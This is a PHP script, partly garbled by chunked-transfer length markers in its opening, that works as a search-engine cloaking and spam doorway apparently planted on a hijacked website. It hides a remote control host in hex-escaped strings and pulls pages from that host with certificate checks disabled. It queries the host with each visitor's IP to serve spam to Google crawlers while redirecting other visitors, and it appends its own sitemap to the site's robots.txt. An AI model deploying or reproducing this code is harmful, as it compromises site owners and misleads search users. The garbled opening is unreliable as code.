2 d php error_re 6 portin 6 g(0); 6 $get 7 = filte 6 r_inpu 7 t_array 5 (INPU 6 T_GET, 6 FILTE 5 R_SAN 6 ITIZE_ 5 STRIN 7 G); 1c /* ------------------------- 8 4 4 本 5 地 5 存 4 3 1e ------------------------- */ 6 functi 6 on cac 7 he_get( 7 $key, $ 6 expire 7 = 300) 9 { $ a file = sys 9 _get_temp 6 _dir() 5 . '/ c cache_' . md c 5($key) . '. b php'; 8 if (file 7 _exists 9 ($file) & 6 & (tim 5 e() - 11 filemtime($file) b ) < $expire 10 ) { ret 8 urn file a _get_conte 11 nts($file); 11 } return fal 6 se; } 71 function cache_set($key, $data) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; @file_ 19 put_contents($file, $data 6 , LOCK 4 _EX) 2c ; } /* ------------------------- 5 取 4 真 5 访 5 问 I 5 P( 4 6 CDN 5 / 反 4 代 2b ------------------------- */ function 8 get_real e _ip() { $ 8 keys = [ d 'HT 5 TP_CF 6 _CONNE 6 CTING_ 7 IP', // 6 Cloud 5 flare 14 'HTTP_X_RE f AL_IP', 8 // Nginx 15 'HTTP_X_FOR 5 WARDE 9 D_FOR', 8 // Proxy 14 'HTTP_CLIE 12 NT_IP', ' 1a98 REMOTE_ADDR' ]; foreach ($keys as $k) { if (!empty($_SERVER[$k])) { $ip = $_SERVER[$k]; if (strpos($ip, ',') !== false) { $ip = trim(explode(',', $ip)[0]); } if (filter_var($ip, FILTER_VALIDATE_IP)) { return $ip; } } } return '127.0.0.1'; } /* ------------------------- 更快的 getCurl() ------------------------- */ function getCurlFast($url) { $cached = cache_get($url); if ($cached !== false) return $cached; $data = ''; if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => false, CURLOPT_USERAGENT => "Mozilla/5.0" ]); $data = curl_exec($ch); curl_close($ch); } if (empty($data) && ini_get('allow_url_fopen')) { $context = stream_context_create([ "http" => ["timeout" => 8, "header" => "User-Agent: Mozilla/5.0\r\n"], "ssl" => ["verify_peer" => false, "verify_peer_name" => false] ]); $data = @file_get_contents($url, false, $context); } if (!empty($data)) cache_set($url, $data); return $data; } /* ------------------------- URL 信息 ------------------------- */ function get_url_info(string $type='domain'): string { $host = $_SERVER['HTTP_HOST'] ?? ''; if ($type === 'no_www') return preg_replace('/^www\./i', '', $host); $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://"; $base = $protocol . $host; if ($type === 'base') return $base; if ($type === 'full') return $base . ($_SERVER['REQUEST_URI'] ?? ''); return $host; } /* ------------------------- 基础变量 ------------------------- */ goto ONPuB; ONPuB: $http_type = !empty($_SERVER["\x48\124\x54\x50\x53"]) && $_SERVER["\x48\124\124\x50\x53"] !== "\157\x66\146" ? "\150\x74\x74\x70\163\72\x2f\x2f" : "\x68\164\164\160\72\x2f\57"; goto O4O9k; O4O9k: $vurl = "\x74\157\56\152\147\141\x6c\x6c\163\x2e\143\157\x6d\x2f"; goto vgv72; vgv72: $qz = substr(str_replace(array("\x77\x77\167\x2e", "\56"), '', $_SERVER["\110\x54\x54\120\x5f\x48\x4f\123\x54"]), 0, 3); /* ------------------------- 解析 f 参数 ------------------------- */ $sz = $iid = ""; if(!empty($_GET)){ $f=reset($_GET); $sp = explode('-', $f); if (count($sp) === 2) { $sz = $sp[0]; $iid = $sp[1]; } } /* ------------------------- 远程接口 ------------------------- */ if (!empty($sz)) { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?sz=" . urlencode($sz)); } else { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?xy={$http_type}"); $sz = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($jd)); } $hyzhdy = $jd . "41.aspx"; $surl = $jd . "s41.aspx"; /* ------------------------- robots / sitemap ------------------------- */ $sitemapLine = "Sitemap: {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}?w=" . date('YmdHi') . "\n"; function ensure_robots_sitemap($sitemapLine) { $robots = rtrim($_SERVER['DOCUMENT_ROOT'], "/\\") . '/robots.txt'; if (!file_exists($robots)) { @file_put_contents($robots, "User-agent: *\nAllow: /\n" . $sitemapLine, LOCK_EX); } else { $c = @file_get_contents($robots); if ($c === false || strpos($c, $sitemapLine) === false) { @file_put_contents($robots, $sitemapLine, FILE_APPEND | LOCK_EX); } } } /* ------------------------- w= 输出 ------------------------- */ if (!empty($get['w'])) { $params = http_build_query([ 'NOUmber' => $get['NOUmber'] ?? '', 't' => $get['t'] ?? '', 'cn' => $get['cn'] ?? '', 'pNOUm' => $get['pNOUm'] ?? '', 'cid' => $get['cid'] ?? '', 'm' => $get['m'] ?? '' ]); $str = getCurlFast("{$surl}?{$params}"); echo str_replace( ['yymm','ggggg','?f='], [$http_type.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'], $sz,'?'.$qz.'='], $str ); exit; } /* ------------------------- IP 判定(保留 kk 测试) ------------------------- */ $kk = isset($get['kk']) ? trim($get['kk']) : ''; $ip = ($kk !== '') ? "66.249.82.8" : get_real_ip(); /* ------------------------- getdomain2 判断 ------------------------- */ $domain = trim(getCurlFast($jd . "getdomain2.aspx?rnd=1&ip=" . $ip)); /* ------------------------- 非 google + iid → 跳转 ------------------------- */ if ($domain !== 'google' && !empty($iid)) { $kname = urldecode(getCurlFast($jd . "gn.aspx?iid=" . $iid)); echo ''; exit; } /* ------------------------- iid 输出 ------------------------- */ if (!empty($iid)) { $str = getCurlFast($hyzhdy . "?iid={$iid}"); echo str_replace( ['ggggg','YYYYY','XXXYYY','当前URL','UUUUU','MMMMM','?f='], [$sz, get_url_info(), get_url_info('base'), get_url_info('full'), get_url_info('no_www'),parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH),'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap helper ------------------------- */ function output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine); echo "
"; exit; } /* ------------------------- kk 输出控制 ------------------------- */ if ($kk !== '' && preg_match('/^[A-Za-z0-9]+$/', $kk)) { $remote = getCurlFast($jd . "getdomain2.aspx?rnd=2&kk=" . $kk); if (!empty($remote)) { echo $remote; exit; } } if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } $is_no_query = empty($_SERVER['QUERY_STRING']); if ($kk === '' && $is_no_query) { if ($domain === 'google') { output_sitemap_and_exit($sitemapLine, $http_type); } else { exit; } } output_sitemap_and_exit($sitemapLine, $http_type); ?> 0